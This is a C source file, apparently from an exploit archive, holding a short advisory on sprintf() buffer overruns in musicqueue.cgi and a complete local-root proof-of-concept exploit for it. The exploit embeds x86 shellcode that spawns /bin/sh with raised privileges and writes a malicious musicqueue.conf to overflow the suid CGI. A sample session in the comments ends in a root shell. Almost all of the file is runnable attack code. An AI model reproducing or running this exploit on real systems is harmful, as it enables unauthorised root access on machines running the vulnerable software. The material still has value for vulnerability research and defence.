71 lines
No EOL
2 KiB
C
71 lines
No EOL
2 KiB
C
// source: https://www.securityfocus.com/bid/8903/info
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Multiple buffer overrun vulnerabilities have been discovered in Musicqueue. Both issues stem from the lack of bounds checking when passing user-supplied input to the sprintf() libc function. As a result, it may be possible for an attacker to exploit arbitrary code with the privileges the affected application, possibly installed suid or sgid.
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/*
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**
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** 0x82-musicqueue_over - musicqueue.cgi local root `Proof of Concept' exploit
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**
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** This is general overflow exploit.
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**
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** --
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** bash-2.04$ ./0x82-musicqueue_over /tmp/musicqueue-1.1.1/musicqueue.cgi
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**
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** 0x82-musicqueue_over - musicqueue.cgi v-0.9~1.1.1 `Proof of Concept'
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**
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** sh-2.04# id
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** uid=0(root) gid=0(root) groups=500(x82)
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** sh-2.04#
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** --
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** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
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** My World: http://x82.i21c.net & http://x82.inetcop.org
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**
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*/
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#include <stdio.h>
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int main(int argc,char *argv[])
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{
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FILE *fp;
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int r_rn=0;
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char *ent_r[3],atck_d[0x82];
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char shellcode[]=
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"\220@\220@\220@\220@\220@\220@\220@\220@\220@"
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"\220@\220@\220@\220@\220@\220@\220@\220@\220@"
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"1\300\260F1\3331\311\315\2001\300\260G1\3331"
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"\311\315\200\353\037^\211v\b1\300\210F\007"
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"\211F\f\260\013\211\363\215N\b\215V\f\315\2001"
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"\333\211\330@\315\200\350\334\377\377\377"
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"/bin/sh";
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unsigned long sh_addr=(0xbfffffff-(strlen(shellcode)));
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memset((char *)atck_d,0,sizeof(atck_d));
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fprintf(stdout,"\n 0x82-musicqueue_over - musicqueue.cgi v-0.9~1.1.1 POC exploit.\n\n");
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if(argc<2)
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{
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fprintf(stdout," Usage: %s [musicqueue.cgi path]\n\n",argv[0]);
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exit(-1);
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}
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else sh_addr-=(strlen(argv[1]));
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atck_d[r_rn++]=0x82;
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for(;r_rn<44;r_rn+=4)
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{
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*(long *)&atck_d[r_rn]=sh_addr;
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}
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if((fp=fopen("musicqueue.conf","w"))==NULL)
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{
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fprintf(stderr," [-] musicqueue.conf fopen() error.\n\n");
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return(-1);
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}
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fprintf(fp,"language = %s\n",atck_d);
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fclose(fp);
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ent_r[0]="REQUEST_METHOD=GET";
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ent_r[1]=(shellcode);
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ent_r[2]=(NULL);
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execle(argv[1],"musicqueue.cgi",NULL,ent_r);
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} |